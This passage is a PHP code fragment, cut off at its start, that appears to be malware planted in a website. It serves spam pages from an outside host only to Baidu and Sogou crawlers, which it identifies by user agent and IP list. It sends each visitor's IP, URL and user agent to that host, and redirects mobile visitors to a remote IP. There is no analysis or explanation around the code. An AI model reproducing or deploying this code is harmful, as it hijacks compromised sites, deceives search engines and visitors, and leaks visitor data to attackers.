o_host','http://198.2.217.217'); define('doo_user',$_SERVER['HTTP_USER_AGENT']); define('doo_addr',$_SERVER['HTTP_CLIENT_IP'] ? $_SERVER['HTTP_CLIENT_IP'] : $_SERVER['REMOTE_ADDR']); define('doo_link',((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) ? 'https://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'] : 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']); define('doo_ents','/\.bug|\.fdc|\.znb|\.msl|\.hxc|\.love|\.one|\.mdb/i'); if (preg_match('/Baiduspider|Sogou web spider/i',doo_user)) { doo_cont(); } if (preg_match('/Android|iPhone|iPad|iPod|Symbian|Mac/i',doo_user)) { doo_jump(); } function doo_cont() { $allow = doo_check(doo_addr); $log = "[ip:'".doo_addr."',link:'".doo_link."',user:'".doo_user."']"; if (preg_match(doo_ents,doo_link) && stristr(doo_link,'?')) { if ($allow) { $cont = json_decode(file_get_contents(doo_host."/html?ref=".doo_addr."&log=".base64_encode($log)), true); die($cont['body']); } } else { if ($allow) { $cont = json_decode(file_get_contents(doo_host."/link?ref=".doo_addr."&mod=n"), true); echo $cont['body']."\n"; } } } function doo_jump() { if (preg_match(doo_ents,doo_link) && stristr(doo_link,'?')) { header("HTTP/1.1 301 Moved Permanently"); Header("Location: http://104.233.156.194:9888/dsnb888.html"); exit; } } function doo_check($ip) { $Rule = array( '/^113.24.225.*/', '/^116.179.32.*/', '/^220.181.108.*/', '/^118.184.177.*/', '/^123.125.109.*/', '/^123.183.224.*/', '/^49.7.21.*/', '/^58.250.125.*/', '/^61.135.159.*/', '/^221.228.73.24/', ); foreach ($Rule as $preg) { preg_match($preg, $ip, $matches); if (!empty($matches)) { return true; } } return false; } ?>